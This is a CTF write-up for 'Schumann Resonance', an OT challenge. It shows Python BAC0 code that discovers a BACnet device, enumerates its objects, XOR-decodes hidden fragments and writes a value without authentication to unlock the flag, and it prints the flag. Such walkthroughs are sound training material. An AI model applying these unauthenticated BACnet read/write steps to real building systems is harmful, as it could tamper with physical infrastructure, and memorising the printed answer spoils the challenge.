ESPILON-CTF-2026-Writeups/OT/Schumann_Resonance/README.md

3.6 KiB
Raw Blame History

Schumann Resonance

Field Value
Category OT
Difficulty Medium
Points 400
Author Eun0us
CTF Espilon 2026

Description

The building management system at Tachibana General Laboratories runs BACnet/IP for environmental monitoring. Sub-basement 7 was decommissioned years ago, but its BACnet device is still broadcasting.

The device description mentions "Schumann Monitoring Station." Some objects carry unusual properties.

Enumerate the device. Read every property. The resonance frequency holds the key.

  • BACnet/IP: udp/<host>:47808

Format: ESPILON{flag}


TL;DR

Discover BACnet device 783 via WhoIs (device ID = Schumann frequency 7.83 Hz × 100). XOR key = 0x0783. Decode 7 fragment descriptions (hex-encoded XOR'd strings) to reconstruct the flag. Alternatively: write 7.83 to AnalogValue:10 to activate the Resonance_Lock and have the flag written automatically to CharStringValue:200.


Tools

Tool Purpose
Python 3 + BAC0 BACnet/IP discovery and read/write
XOR arithmetic Decode fragment hex strings

Solution

Step 1 — Device discovery

Send a BACnet WhoIs broadcast to port 47808:

import BAC0

bacnet = BAC0.lite(ip="<YOUR_IP>/24")
bacnet.whois()
# → Device:783 "Tachibana-ENV-SB7"

Device instance 783 → 7.83 Hz → Schumann Resonance.

📸 [screenshot: BACnet WhoIs response showing Device:783]

Step 2 — Enumerate objects

Read the object-list from Device:783:

Object Name Note
AnalogInput:0-3 Temp, Humidity, Pressure, CO2 Normal sensors
AnalogInput:4 EMF_Resonance = 7.83 Description = "PROTOCOL_SEVEN_CARRIER"
AnalogValue:10 Freq_Multiplier = 0.0 Writable! Hint: "set to Schumann harmonic"
AnalogValue:11-17 Fragment_0 through Fragment_6 Descriptions = hex strings
BinaryValue:100 Resonance_Lock inactive
CharStringValue:200 Research_Log "Access Denied"

📸 [screenshot: object list showing Fragment objects and their hex descriptions]

Step 3 — Identify the XOR key

Device instance = 783 → 7.83 Hz → XOR key = 0x0783 (2-byte big-endian).

Key bytes: [0x07, 0x83] applied cyclically.

Step 4 — Decode fragments (manual path)

Read the description property of each Fragment AnalogValue:

fragments = []
for i in range(7):
    desc = bacnet.read(f"783 analogValue {11+i} description")
    enc = bytes.fromhex(desc)
    key = (0x07, 0x83)
    dec = bytes(b ^ key[j % 2] for j, b in enumerate(enc))
    fragments.append(dec.decode())

flag = "".join(fragments)
print(flag)

📸 [screenshot: decoded fragment strings concatenating into the flag]

Step 5 — Activate (alternative path)

Write the Schumann frequency to AnalogValue:10:

bacnet.write(f"783 analogValue 10 presentValue 7.83")

This sets BinaryValue:100 (Resonance_Lock) to active and writes the flag to CharStringValue:200 (Research_Log).

Read the flag:

flag = bacnet.read(f"783 characterstringValue 200 presentValue")
print(flag)

📸 [screenshot: Research_Log returning the flag after Resonance_Lock activation]

Key concepts

  • BACnet device instance 783 = 7.83 × 100 — the Schumann resonance frequency (7.83 Hz)
  • AnalogInput:4 description "PROTOCOL_SEVEN_CARRIER" is a lore reference and key derivation hint
  • BACnet has no authentication — ReadProperty/WriteProperty work without credentials
  • Two solve paths: manual fragment decode OR write the magic value and read the result

Flag

ESPILON{sch0m4nn_r3s0n4nc3_783}